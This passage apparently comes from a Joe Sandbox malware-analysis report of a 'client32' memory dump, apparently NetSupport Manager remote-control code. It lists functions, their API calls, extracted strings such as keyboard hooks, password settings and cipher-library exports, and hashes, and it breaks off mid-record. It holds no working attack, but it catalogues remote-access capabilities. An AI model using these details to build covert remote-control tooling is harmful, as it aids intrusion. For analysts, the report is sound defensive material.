Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$Load$Class$AddressCreateFreeProc$CursorEventInfoLongObjectRegisterStockTimerWindow_memset
String ID: *quiet$HookKeyboard$InitUI (%d)$NSMGetAppIcon()$NSMWClass$TraceCopyData$UI.CPP$User32.dll$View$_License$_debug$imm32$pcihooks$riched32.dll
API String ID: 3706574701-3145203681
Opcode ID: bf77d67e3ec3500b8f2db5927d4705f1cc154319e5a682cee20025d48f6291c1
Instruction ID: 9b294397b9efa9119a6c3372e39ca87a41eafe2d9b680e3b49ce131b24699399
Opcode Fuzzy Hash: bf77d67e3ec3500b8f2db5927d4705f1cc154319e5a682cee20025d48f6291c1
Instruction Fuzzy Hash: 6EA19DB4E0126AAFDB01DFE9C9C4AADFBB4FB4870DB60413EE52997644EB306440CB55

Function 110285F0 Relevance: 42.5, APIs: 2, Strings: 22, Instructions: 542
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,73D41370,?,0000001A), ref: 110286DD
_strrchr.LIBCMT ref: 110286EC

Part of subcall function 111646CE: __stricmp_l.LIBCMT ref: 1116470B

Strings

Name, xrefs: 1102883E
NSSTLA, xrefs: 11028965
SupportWWW, xrefs: 11028995
SupportsAndroid, xrefs: 11028B82
NSSLongCaption, xrefs: 11028B55
\, xrefs: 1102866C
NSMAppDataDir, xrefs: 110289F5
NSSAppDataDir, xrefs: 11028A25
??F, xrefs: 11028C70
AssistantName, xrefs: 11028A8C
SupportsChrome, xrefs: 11028AE6
ShortName, xrefs: 110288A5
SupportEMail, xrefs: 110289C5
Home, xrefs: 110288D5
NSSName, xrefs: 11028935
AssistantURL, xrefs: 11028AB9
LongName, xrefs: 11028875
NSSConfName, xrefs: 11028A55
TLA, xrefs: 11028905
TechConsole, xrefs: 11028B1D
product.dat, xrefs: 110286A0, 110286F1
??I, xrefs: 11028CF7

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileModuleName__stricmp_l_strrchr
String ID: ??F$??I$AssistantName$AssistantURL$Home$LongName$NSMAppDataDir$NSSAppDataDir$NSSConfName$NSSLongCaption$NSSName$NSSTLA$Name$ShortName$SupportEMail$SupportWWW$SupportsAndroid$SupportsChrome$TLA$TechConsole$\$product.dat
API String ID: 1609618855-357498123
Opcode ID: f758b9b815b32a629a166d271db5dcc578b7f2649effa84e62f149b16d96c17d
Instruction ID: efd952e0d0f75bab71a6f775fe147756553f35749af42d5d105ea8c6321280ff
Opcode Fuzzy Hash: f758b9b815b32a629a166d271db5dcc578b7f2649effa84e62f149b16d96c17d
Instruction Fuzzy Hash: ED12D67CD0929A8BDB17CF64CC807E5B7F5AB19308F8400EEE9D557201EB729686CB52

Function 11086700 Relevance: 38.7, APIs: 12, Strings: 10, Instructions: 161
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?,00000001,0000DD7C), ref: 1108678C
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 110867AA
LoadLibraryA.KERNEL32(?), ref: 110867EC
GetProcAddress.KERNEL32(?,CipherServer_Create), ref: 11086807
GetProcAddress.KERNEL32(?,CipherServer_Destroy), ref: 1108681C
GetProcAddress.KERNEL32(00000000,CipherServer_GetInfoBlock), ref: 1108682D
GetProcAddress.KERNEL32(?,CipherServer_OpenSession), ref: 1108683E
GetProcAddress.KERNEL32(?,CipherServer_CloseSession), ref: 1108684F
GetProcAddress.KERNEL32(00000000,CipherServer_EncryptBlocks), ref: 11086860

Strings

CipherServer_Destroy, xrefs: 11086816
CipherServer_GetRandomData, xrefs: 1108687C
CipherServer_EncryptBlocks, xrefs: 1108685A
CipherServer_CloseSession, xrefs: 11086849
CipherServer_ResetSession, xrefs: 1108688D
CipherServer_OpenSession, xrefs: 11086838
CipherServer_GetInfoBlock, xrefs: 11086827
CipherServer_Create, xrefs: 11086801
CryptPak.dll, xrefs: 1108675B, 110867BE
CipherServer_DecryptBlocks, xrefs: 1108686B

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$FileModuleName
String ID: CipherServer_CloseSession$CipherServer_Create$CipherServer_DecryptBlocks$CipherServer_Destroy$CipherServer_EncryptBlocks$CipherServer_GetInfoBlock$CipherServer_GetRandomData$CipherServer_OpenSession$CipherServer_ResetSession$CryptPak.dll
API String ID: 2201880244-3035937465
Opcode ID: 4b4bd3f155fc2ea4308a314feeb32441d96d80ab178d9e56264d575cdcc26986
Instruction ID: c81deb3771c39ade44f8803fbe1e6421c41fb3d40bd553f41274565aeadcb2b4
Opcode Fuzzy Hash: 4b4bd3f155fc2ea4308a314feeb32441d96d80ab178d9e56264d575cdcc26986
Instruction Fuzzy Hash: CD51C174E1834A9BD710DF79DC94BA6FBE9AF54304B1289AED885C7240EAB2E444CF50

Function 11141890 Relevance: 35.7, APIs: 3, Strings: 17, Instructions: 672
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCloseKey.ADVAPI32(00000000), ref: 1114194A

Strings

Add [%s]%s=%s, xrefs: 11141E36
Info. Policy changed - reload transports..., xrefs: 11142036
Info. Lockup averted for AD policy changes, xrefs: 11141B1D, 11141B44
Client, xrefs: 11141DCC, 1114207F
NSM.LIC, xrefs: 11141950
_debug, xrefs: 11141DE6
RoomSpec, xrefs: 11141DC7, 1114207A
Info. Policy changed - re-initui, xrefs: 11142012
Warning. Can't calc AD policy changes, xrefs: 11141D85
TracePolicyChange, xrefs: 11141DE1
client., xrefs: 11141D46
client, xrefs: 11141D63
NSA.LIC, xrefs: 1114195F, 11141966, 1114198D
IsA(), xrefs: 111420CD
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 111420C8
Chg [%s]%s=%s, xrefs: 11141EF5
Del [%s]%s=%s, xrefs: 11141E95

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Close
String ID: Add [%s]%s=%s$Chg [%s]%s=%s$Client$Del [%s]%s=%s$Info. Lockup averted for AD policy changes$Info. Policy changed - re-initui$Info. Policy changed - reload transports...$IsA()$NSA.LIC$NSM.LIC$RoomSpec$TracePolicyChange$Warning. Can't calc AD policy changes$_debug$client$client.$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 3535843008-2062829784
Opcode ID: b095e62f5566da241d3e91ca5be9f891ca13435fdbaa530bea89b8198b644eef
Instruction ID: 6553b1da6d6d14651d2a1fffef45e08f8fb4271012d2e4188a9b1e9169dedbc2
Opcode Fuzzy Hash: b095e62f5566da241d3e91ca5be9f891ca13435fdbaa530bea89b8198b644eef
Instruction Fuzzy Hash: E4420778E002999FEB21CBA0CD90FEEF7766F95B08F1401D8D50967681EB727A84CB51

Function 11074A00 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 294
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

InitializeCriticalSection.KERNEL32(0000000C,?,00000000), ref: 11074AE5
InitializeCriticalSection.KERNEL32(00000024,?,00000000), ref: 11074AEB
InitializeCriticalSection.KERNEL32(0000003C,?,00000000), ref: 11074AF1
InitializeCriticalSection.KERNEL32(0000DB1C,?,00000000), ref: 11074AFA
InitializeCriticalSection.KERNEL32(00000054,?,00000000), ref: 11074B00
InitializeCriticalSection.KERNEL32(0000006C,?,00000000), ref: 11074B06
_strncpy.LIBCMT ref: 11074B68
ExpandEnvironmentStringsA.KERNEL32(?,?,00000100,?,?,?,?,?,?,00000000), ref: 11074BCF
CreateThread.KERNEL32(00000000,00004000,11070C60,00000000,00000000,?), ref: 11074C6C
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 11074C73
SetTimer.USER32(00000000,00000000,000000FA,11063680), ref: 11074CB7
std::exception::exception.LIBCMT ref: 11074D68
__CxxThrowException@8.LIBCMT ref: 11074D83

Strings

DefaultUsername, xrefs: 11074BB0
destroy_queue == NULL, xrefs: 11074B1B
RememberPassword, xrefs: 11074B80
Password, xrefs: 11074C23
General, xrefs: 11074B85, 11074BB5, 11074C28
..\ctl32\Connect.cpp, xrefs: 11074B16

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CritiusernitializeSection$CloseCreateEnvironmentException@8ExpandHandleStringsThreadThrowTimer_malloc_memset_strncpystd::exception::exceptionwsprintf
String ID: ..\ctl32\Connect.cpp$DefaultUsername$General$Password$RememberPassword$destroy_queue == NULL
API String ID: 703120326-1497550179
Opcode ID: 7c8943816f378bc6fd854347406ceee894156ad89ebdfca9a8c75f1e5f5be459
Instruction ID: 2d3153b5a6430d98d64e81d2a1e668bfe4de0d121a1dff3557e595bbadcf65c6
Opcode Fuzzy Hash: 7c8943816f378bc6fd854347406ceee894156ad89ebdfca9a8c75f1e5f5be459
Instruction Fuzzy Hash: 79B1A4B5A00359AFD710CF64CD84FDAF7F4BB48708F0085A9E65997281EBB0B944CB65

Function 11108D30 Relevance: 33.5, APIs: 14, Strings: 5, Instructions: 213
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

OpenEventA.KERNEL32(00000002,00000000,nsm_gina_sas,00000009), ref: 11108E0A
CloseHandle.KERNEL32(00000000), ref: 11108E19
GetSystemDirectoryA.KERNEL32(?,000000F7), ref: 11108E2B
LoadLibraryA.KERNEL32(?), ref: 11108E61
GetProcAddress.KERNEL32(?,GrabKM), ref: 11108E8E
GetProcAddress.KERNEL32(?,LoggedOn), ref: 11108EA6
FreeLibrary.KERNEL32(?), ref: 11108ECB

Part of subcall function 1110F2B0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,776CC3F0,00000000,?,11110245,1110FDE0,00000001,00000000), ref: 1110F2C7
Part of subcall function 1110F2B0: CreateThread.KERNEL32(00000000,11110245,00000001,00000000,00000000,0000000C), ref: 1110F2EA
Part of subcall function 1110F2B0: WaitForSingleObject.KERNEL32(?,000000FF,?,11110245,1110FDE0,00000001,00000000,?,?,?,?,?,11031040), ref: 1110F317
Part of subcall function 1110F2B0: CloseHandle.KERNEL32(?,?,11110245,1110FDE0,00000001,00000000,?,?,?,?,?,11031040), ref: 1110F321

GetStockObject.GDI32(0000000D), ref: 11108EDF
GetObjectA.GDI32(00000000,0000003C,?), ref: 11108EEF
InitializeCriticalSection.KERNEL32(0000003C), ref: 11108F0B
InitializeCriticalSection.KERNEL32(111F060C), ref: 11108F16

Part of subcall function 11107290: LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,00000000,11189A56,000000FF), ref: 11107363
Part of subcall function 11107290: LoadLibraryA.KERNEL32(Advapi32.dll), ref: 111073B2

CloseHandle.KERNEL32(00000000,Function_00102C50,00000001,00000000), ref: 11108F59

Part of subcall function 1109E9E0: GetCurrentProcess.KERNEL32(00020008,00000000,?,?,110F7D14,00000001,111417B8,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 1109EA01
Part of subcall function 1109E9E0: OpenProcessToken.ADVAPI32(00000000,?,?,110F7D14,00000001,111417B8,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 1109EA08
Part of subcall function 1109E9E0: CloseHandle.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 1109EA27

CloseHandle.KERNEL32(00000000,Function_00102C50,00000001,00000000), ref: 11108FAA
CloseHandle.KERNEL32(00000000,Function_00102C50,00000001,00000000), ref: 11108FFF

Strings

nsm_gina_sas, xrefs: 11108DF4
LoggedOn, xrefs: 11108EA0
LPT1, xrefs: 11108DE9
GrabKM, xrefs: 11108E88
\pcigina, xrefs: 11108E40

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle$Library$LoadObject$AddressCreateCriticalEventInitializeOpenProcProcessSection$CurrentDirectoryFreeSingleStockSystemThreadTokenWait_malloc_memsetwsprintf
String ID: GrabKM$LPT1$LoggedOn$\pcigina$nsm_gina_sas
API String ID: 3930710499-403456261
Opcode ID: 1bb63630e84e06d7a5d883501c08249baca6a639cf459e52fb6089e18ee58e4a
Instruction ID: 229803012459fbbe5cfd3a30b02a894d1af5bad55287ed163187595495ff030c
Opcode Fuzzy Hash: 1bb63630e84e06d7a5d883501c08249baca6a639cf459e52fb6089e18ee58e4a
Instruction Fuzzy Hash: DC81AFB4E0435AEFEB55DFB48C89B9AFBE9AB48308F00457DE569D7280E7309944CB11

Function 11138C30 Relevance: 31.8, APIs: 12, Strings: 6, Instructions: 348
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 111450A0: GetVersionExA.KERNEL32(111F0EF0,76968400), ref: 111450D0
Part of subcall function 111450A0: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114510F
Part of subcall function 111450A0: _memset.LIBCMT ref: 1114512D
Part of subcall function 111450A0: _strncpy.LIBCMT ref: 111451FA

PostMessageA.USER32(000802A6,000006CF,00000007,00000000), ref: 11138E0F

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

SetWindowTextA.USER32(000802A6,00000000), ref: 11138EB7
IsWindowVisible.USER32(000802A6), ref: 11138F7C
GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,00000000), ref: 11138F9C
IsWindowVisible.USER32(000802A6), ref: 11138FAA
SetForegroundWindow.USER32(00000000), ref: 11138FD8
EnableWindow.USER32(000802A6,00000001), ref: 11138FE7
IsWindowVisible.USER32(000802A6), ref: 11139038
IsWindowVisible.USER32(000802A6), ref: 11139045
EnableWindow.USER32(000802A6,00000000), ref: 11139059
EnableWindow.USER32(000802A6,00000000), ref: 11138FBF

Part of subcall function 11131210: ShowWindow.USER32(000802A6,00000000,?,11139062,00000007,?,?,?,?,?,00000000), ref: 11131234

EnableWindow.USER32(000802A6,00000001), ref: 1113906D

Strings

ShowUIOnConnect, xrefs: 11138DED
ViewedText, xrefs: 11138D3B
ConnectedText, xrefs: 11138D48, 11138D57
Client, xrefs: 11138CB1, 11138D5B, 11138D94, 11138DF2
LockedText, xrefs: 11138D8F
HideWhenIdle, xrefs: 11138CAC

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$EnableVisible$Foreground$MessageOpenPostShowTextVersion__wcstoi64_memset_strncpy
String ID: Client$ConnectedText$HideWhenIdle$LockedText$ShowUIOnConnect$ViewedText
API String ID: 3453649892-3803836183
Opcode ID: 391fd03a16533da79435ce5bee1303fc2e717428408a6b437c143b59ca9afbf1
Instruction ID: ae8ec3c714d324370739ddb1cab1952d607c59122f5be0bb7ac7fd02d25128b2
Opcode Fuzzy Hash: 391fd03a16533da79435ce5bee1303fc2e717428408a6b437c143b59ca9afbf1
Instruction Fuzzy Hash: 86C12A75A1122A9BEB11DFF4CD80B6EF769ABC072DF140138EA159B28CEB75E804C751

Function 110281A0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 130
librarysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000102,NSM.LIC,00000009), ref: 110281F1

Part of subcall function 11081B40: _strrchr.LIBCMT ref: 11081B4E

wsprintfA.USER32 ref: 11028214
WaitForSingleObject.KERNEL32(?,000000FF), ref: 11028259
GetExitCodeProcess.KERNEL32(?,?), ref: 1102826D
wsprintfA.USER32 ref: 11028291
CloseHandle.KERNEL32(?), ref: 110282A7
CloseHandle.KERNEL32(?), ref: 110282B0
LoadLibraryExA.KERNEL32(?,00000000,00000002,?,?,?,?,?,NSM.LIC,00000009), ref: 11028311
GetModuleHandleA.KERNEL32(00000000,00000000,?,?,?,?,?,NSM.LIC,00000009), ref: 11028325

Strings

\GetUserLang.exe", xrefs: 1102820E
", xrefs: 110281EA
SetClientResLang called, gPlatform %x, xrefs: 110281BC
Locales\%d\, xrefs: 11028281
Setting resource langid=%d, xrefs: 110282D1
NSM.LIC, xrefs: 110281B9, 110282D0
pcicl32_res.dll, xrefs: 110282E9

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Handle$CloseModulewsprintf$CodeExitFileLibraryLoadNameObjectProcessSingleWait_strrchr
String ID: "$Locales\%d\$NSM.LIC$SetClientResLang called, gPlatform %x$Setting resource langid=%d$\GetUserLang.exe"$pcicl32_res.dll
API String ID: 512045693-419896573
Opcode ID: be2a4d539e06a764388bcf1fddbdd407ba59922a3a30c161602edf8e7ebb4000
Instruction ID: 7a246749baaa4a6e23861a3fd22e5cd13303056935123195fcb9bb693944541c
Opcode Fuzzy Hash: be2a4d539e06a764388bcf1fddbdd407ba59922a3a30c161602edf8e7ebb4000
Instruction Fuzzy Hash: B841D678E04229ABD714CF65CCD5FEAB7B9EB44709F0081A5F95897280DA71AE44CBA0

Function 11085E10 Relevance: 26.5, APIs: 8, Strings: 7, Instructions: 218libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(PCIINV.DLL,59FD48C0,033B6EC0,033B6EB0,?,00000000,1118276C,000000FF,?,11031942,033B6EC0,00000000,?,?,?), ref: 11085E45

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
